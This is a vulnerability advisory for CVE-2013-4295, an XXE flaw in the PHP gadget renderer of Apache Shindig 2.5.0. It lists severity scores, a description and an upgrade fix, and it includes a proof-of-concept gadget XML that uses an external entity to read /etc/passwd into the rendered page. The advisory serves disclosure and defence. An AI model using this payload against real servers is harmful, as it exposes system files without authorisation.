Apache Shindig 2.5.0 XXE vulnerability

2013.10.22

Credit: Kousuke Ebihara

Risk: High

Local: No

Remote: Yes

CVE: CVE-2013-4295

CWE: CWE-200

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: None

Availability impact: None

CVE-2013-4295: XXE vulnerability In Apache Shindig 2.5.0 (PHP)
Severity: Important
Vendor: The Apache Software Foundation
Versions Affected: Apache Shindig PHP 2.5.0
Description: The gadget renderer in the PHP version of Apache Shindig
is subject to an XML External Entity (XXE) Injection attack. The
vulnerability allows a malicious gadget author to construct paths to
content on the gadget rendering server which in turn will display the
content in the gadget iframe.
Mitigation: 2.5.0 users should upgrade to 2.5.0-update1.
Example: The following gadget XML demonstrates the issue.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Module [ <!ENTITY passwd SYSTEM "file:///etc/passwd"> ]>
<Module>
<ModulePrefs title="Test Application">
<Require feature="opensocial-0.9" />
</ModulePrefs>
<Content type="html">
&passwd; hello
</Content>
</Module>
After rendering this gadget you will see the content of /etc/passwd in
the gadget iframe.
Credit: This issue was discovered by Kousuke Ebihara.
References: http://shindig.apache.org/security.html

References:

http://shindig.apache.org/security.html

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Apache Shindig 2.5.0 XXE vulnerability

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